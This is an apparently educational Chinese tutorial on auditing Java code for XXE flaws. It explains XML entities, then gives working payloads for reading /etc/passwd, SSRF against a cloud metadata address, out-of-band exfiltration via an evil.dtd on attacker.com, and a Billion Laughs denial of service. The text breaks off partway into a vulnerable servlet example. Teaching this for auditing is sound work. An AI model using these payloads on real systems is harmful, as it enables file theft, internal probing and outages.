云计算百科
云计算领域专业知识百科平台

java 代码审计 - XXE

  XML 是可扩展标记语言,被设计用来结构化、传输与存储数据。XML 使用标签来标记数据,这些标签可以自定义,因此 XML 具有可扩展性。

    XML 文档由一个根元素开始,然后包含一系列嵌套的元素。每个元素可以包含文本、属性和子元素。标签用尖括号(<>)表示,必须成对出现,有开始标签就必须有结束标签。同时,XML 文件需要声明,例如:<xml version=\”1.0\” encoding=\”UTF-8\”?>。

    XML 提供了一种通用的数据格式,使不同平台和应用程序能够共享和解析数据。XML 支持通过文档类型定义(DTD)或 XML Schema 定义文档的结构和约束,以确保数据的有效性和一致性。

XML 文档示例:

<?xml version=\”1.0\” encoding=\”UTF-8\” ?>
  <email>
    <to>sec@aa.com</to>
    <from>code@aa.com</from>
    <body>Hello, test!</body>
  </email>

DTD

    DTD (Document Type Definition,文档类型定义)是 XML 的一种元数据结构,用于定义 XML 文档的合法结构、元素、属性以及实体(Entity)。DTD 可以内嵌在 XML 文件中(内部 DTD),也可以通过外部引用引入(外部 DTD)。

<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!– …其他元素定义… –>
]>

实体

    实体(Entity)是 XML 的存储单元,用于定义可重用内容的一种机制。实体可以代表文本、特殊字符,甚至外部资源。实体分为内部实体和外部实体。当 XML 被解析时,实体会被替换为其定义的内容。

内部实体

    内部实体(Internal Entity)定义在 DTD (Document Type Definition,文档类型定义)中,内容为字面量(字符串),不引用外部资源。

<!DOCTYPE test [
  <!ENTITY author \”Alice\”>
]>
<message>Written by &author;</message>

解析后变为:<message>Written by Alice</message>。

外部实体

    外部实体(External Entity)的内容来自外部资源(如本地文件、HTTP URL等),通过SYSTEM或PUBLIC关键字引入。如果应用程序未禁用外部实体解析,攻击者可利用它读取敏感文件、发起服务器端请求伪造、DoS 攻击等。

<?xml version=\”1.0\” encoding=\”UTF-8\” ?>
<!DOCTYPE foo [
  <!ENTITY f SYSTEM \”file:///etc/passwd\”>
]>
<foo>
  <data>&f;</data>
</foo>

    定义了一个名为f的外部实体,它引用了本地的/etc/passwd文件。通过&f来引用该外部实体,并将其包含在<data>元素中。

    当应用程序在解析 XML 输入时,若没有禁止外部实体的加载而导致加载了外部文件及代码时,便会造成 XXE 漏洞。XXE 漏洞可以通过FILE协议或是FTP协议来读取文件源码,也可以通过 XXE 漏洞来对内网进行探测或者攻击。

XXE 攻击原理

    当应用程序使用不安全的 XML 解析器(如未禁用外部实体)处理用户提交的 XML 数据时,攻击者可注入恶意 DTD 和外部实体,导致:

  • 任意文件读取(如 /etc/passwd、C:\\Windows\\win.ini)

  • 服务端请求伪造(SSRF)

  • 拒绝服务(如 Billion Laughs Attack)

  • 带外数据泄露(Out-of-Band, OOB)

常见攻击类型

本地文件读取

通过定义指向本地文件系统的外部实体,读取服务器上的敏感文件。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM \”file:///etc/passwd\”>
]>
<root>&xxe;</root>

服务器端请求伪造(SSRF)

利用外部实体向内网或外部 URL 发起 HTTP 请求,探测或攻击后端系统。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM \”http://169.254.169.254:6379\”>
]>
<root>&xxe;</root>

带外数据泄露(Out-of-Band, OOB)

利用参数实体(Parameter Entity)结合外部 DTD,将敏感数据外传到攻击者控制的服务器。

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM \”http://attacker.com/evil.dtd\”>
  %xxe;
]>
<request>test</request>

evil.dtd内容(托管在攻击者服务器):

<!ENTITY % file SYSTEM \”file:///etc/passwd\”>
<!ENTITY % exfil \”<!ENTITY &#x25; send SYSTEM \’http://attacker.com/?data=%file;\’>\”>
%exfil;
%send;

Billion Laughs(逻辑炸弹/DoS)

利用递归实体导致内存爆炸:

<!DOCTYPE lolz [
  <!ENTITY a \”lol\”>
  <!ENTITY b \”&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\”>
  <!ENTITY c \”&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;\”>
  <!ENTITY d \”&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;\”>
]>
<root>&d;</root>

Java 中常用解析 XML 的方法

DocumentBuilderFactory

DocmentBuilder类是javax.xml.parsers.DocumentBuilderFactory类的子类,该类提供了创建 Document 对象以及解析 XML 文件的方法。

package xxe.test.testxxe;

import java.io.*;

import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

@WebServlet(name = \”xxeServlet1\”, value = \”/xxe-servlet1\”)
public class XxeServlet1 extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOExcepti

赞(0)
未经允许不得转载:网硕互联帮助中心 » java 代码审计 - XXE
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!